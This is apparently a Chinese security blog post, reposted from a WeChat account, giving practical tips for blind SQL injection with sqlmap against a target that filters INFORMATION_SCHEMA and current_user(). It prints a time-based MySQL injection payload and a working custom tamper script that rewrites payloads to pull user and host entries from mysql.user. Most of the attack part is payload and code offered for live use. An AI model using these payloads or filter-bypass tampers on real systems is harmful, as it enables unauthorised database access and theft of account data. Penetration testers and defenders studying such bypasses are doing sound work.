遇到个环境,跑用户名不出来,数据库只出了一个,且不出来表
用户名部分
--users、--current-user都不行,没出用户,去查看sqlmap的payload,发现取user是用current_user()
不用current_user(),用user()就成功了,
随便写个tamper,替换CURRENT_
带入tamper,出用户
数据库部分
数据库出来了一个db,db里的表也出不来
payload为:
AND (SELECT 9923 FROM (SELECT(SLEEP(5-(IF(ASCII(SUBSTR((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64625f6e6a6174),1,1))>48,0,5)))))lxrL) AND (1092=1092)
这条语句理解也不难,蓝色是把表里的table_name进行count一下,通过ifnull,如果第一个表达式有值,就用第一个表达式的,反之就用第二个表达式即0x20,红色是从INFORMATION_SCHEMA.TABLES表里取table_schema为0x6462xxxx,十六进制解码即为dbxxx
但是这里测试INFORMATION_SCHEMA.TABLES出现就不行,所以换个思路,去注mysql.user表
虽然选中的是dbxxx,但是注的数据还是mysql.user里的user字段
(0x6462xxx的值可以根据-D后面的参数进行更换)
第二个replace可以更换成其他的值,比如host啥的
取mysql.user里的host字段
(-D换成了dbd,所以十六进制数据为0x646264(dbd实际不存在))
tamper如下
# -*- coding: utf-8 -*-
# 替换CURRENT_出user
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace('INFORMATION_SCHEMA.TABLES WHERE table_schema=0x646264','mysql.user').replace('table_name','host').replace('table_name','*')
还是有局限性的,需要知道库名、表名、列名
PS:
①可能会有人说information不行,找其他关键词,这里说一下,其他关键词基本都试过了,常见的都找过了
②关于可回显的注入,可能局限性要小一点
test为库名、test111为表名,只需要知道一个字段,这里是select value,大多数表应该都是有id、time、updatetime这种字段,所以可回显注入库名、表名可以出
实际的例子
原文始发于微信公众号(哈拉少安全小队):【实战技巧】sql注入杂谈
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论